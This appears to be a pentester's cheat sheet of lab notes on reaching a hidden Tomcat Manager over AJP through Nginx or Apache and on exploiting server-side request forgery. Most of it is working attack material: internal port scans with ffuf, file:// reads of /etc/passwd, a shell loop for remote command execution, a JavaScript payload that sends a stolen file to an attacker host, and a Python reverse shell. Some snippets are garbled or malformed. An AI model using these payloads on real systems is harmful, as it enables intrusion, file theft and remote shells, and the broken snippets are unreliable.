SSRF : (Server-Side Request Forgeries)
AJP (or JK) is a wire protocol for standalone webserver (e.g. Apache) to talk to Tomcat.
RUN Vulnerable Docker on local machine
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="s3cret" roles="manager-gui,manager-script"/>
</tomcat-users>
$ sudo apt install docker.io
$ sudo docker run -it --rm -p 8009:8009 -v `pwd`/tomcat-users.xml:/usr/local/tomcat/conf/tomcat-users.xml --name tomcat "tomcat:8.0"
Summary
Access hidden Tomcat Manager using Nginx with the ajp_module
Download the Nginx source code
$ wget https://nginx.org/download/nginx-1.21.3.tar.gz
$ tar -xzvf nginx-1.21.3.tar.gz
Download the required module
$ git clone https://github.com/dvershinin/nginx_ajp_module.git
$ cd nginx-1.21.3
$ sudo apt install libpcre3-dev
$ ./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
$ make
$ sudo make install
$ nginx -V
Compile Nginx source code with the ajp_module.
Create a configuration file pointing to the AJP Port
#####
Comment out the entire server block and append the following lines inside the http block in /etc/nginx/conf/nginx.conf.
######
upstream tomcats {
server <TARGET_SERVER>:8009;
keepalive 10;
}
server {
listen 80;
location / {
ajp_keep_conn on;
ajp_pass tomcats;
}
}
$ sudo nginx
$ curl http://127.0.0.1:80
Install the libapache2-mod-jk package
Enable the module
Create the configuration file pointing to the target AJP-Proxy port
#stop the above ngnix
sudo ngnix -s stop
#update apache default port
sudo vim /etc/apache2/ports.conf
$ sudo apt install libapache2-mod-jk
$ sudo a2enmod proxy_ajp
$ sudo a2enmod proxy_http
$ export TARGET="<TARGET_IP>"
$ echo -n """<Proxy *>
Order allow,deny
Allow from all
</Proxy>
ProxyPass / ajp://$TARGET:8009/
ProxyPassReverse / ajp://$TARGET:8009/""" | sudo tee /etc/apache2/sites-available/ajp-proxy.conf
$ sudo ln -s /etc/apache2/sites-available/ajp-proxy.conf /etc/apache2/sites-enabled/ajp-proxy.conf
$ sudo systemctl start apache2
Look for
Use netcat to verify SSRF Vulnerability. Check User Agent.
$ nc -nvlp 8080
$ curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:8080"
/etc/passwd
<html>
</body>
<a>SSRF</a>
<body>
<html>
$ python3 -m http.server 9090
$ curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:9090/index.html"
$ sudo pip3 install twisted
$ sudo python3 -m twisted ftp -p 21 -r .
$ curl -i -s "http://<TARGET IP>/load?q=ftp://<VPN/TUN Adapter IP>/index.html
Access internal server and get the files `curl -i -s "http:///load?q=file:///etc/passwd"
....Search for internal ports........
$ for port in {1..65535};do echo $port >> ports.txt;done
$curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:1"
$ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30
$curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=index.html"
2. Port scan
$ ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:PORT" -fr 'Errno[[:blank:]]111'
$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/"
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami"
sudo apt-get install jq
echo "encode me" | jq -sRr @uri
$ function rce() {
while true; do
echo -n "# "; read cmd
ecmd=$(echo -n $cmd | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri)
curl -s -o - "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=${ecmd}"
echo ""
done
}
`
<!DOCTYPE html>
<html>
<body>
<a>Hello World!</a>
<img src="http://<SERVICE IP>:PORT/x?=viaimgtag">
</body>
</html>
<html>
<body>
<b>Exfiltration via Blind SSRF</b>
<script>
var readfile = new XMLHttpRequest(); // Read the local file
var exfil = new XMLHttpRequest(); // Send the file to our server
readfile.open("GET","file:///etc/passwd", true);
readfile.send();
readfile.onload = function() {
if (readfile.readyState === 4) {
var url = 'http://<SERVICE IP>:<PORT>/?data='+btoa(this.response);
exfil.open("GET", url, true);
exfil.send();
}
}
readfile.onerror = function(){document.write('<a>Oops!</a>');}
</script>
</body>
</html>
<html>
<body>
<b>Reverse Shell via Blind SSRF</b>
<script>
var http = new XMLHttpRequest();
http.open////127.0.0.1:5000/runme?x=export%2520RHOST%253D%252210.10.14.221%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527", true;
http.send();
http.onerror = function(){document.write('<a>Oops!</a>');}
</script>
</body>
</html>
export RHOST="<VPN/TUN IP>";export RPORT="<PORT>";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
Send valid internal address and invalid address, Then observe the time difference.
<html>
<body>
<b>Time-Based Blind SSRF</b>
<img src="http://blah.nonexistent.com">
</body>
</html>
#######################################
<html>
<body>
<b>Time-Based Blind SSRF</b>
<img src="http://internal.app.local">
</body>
</html>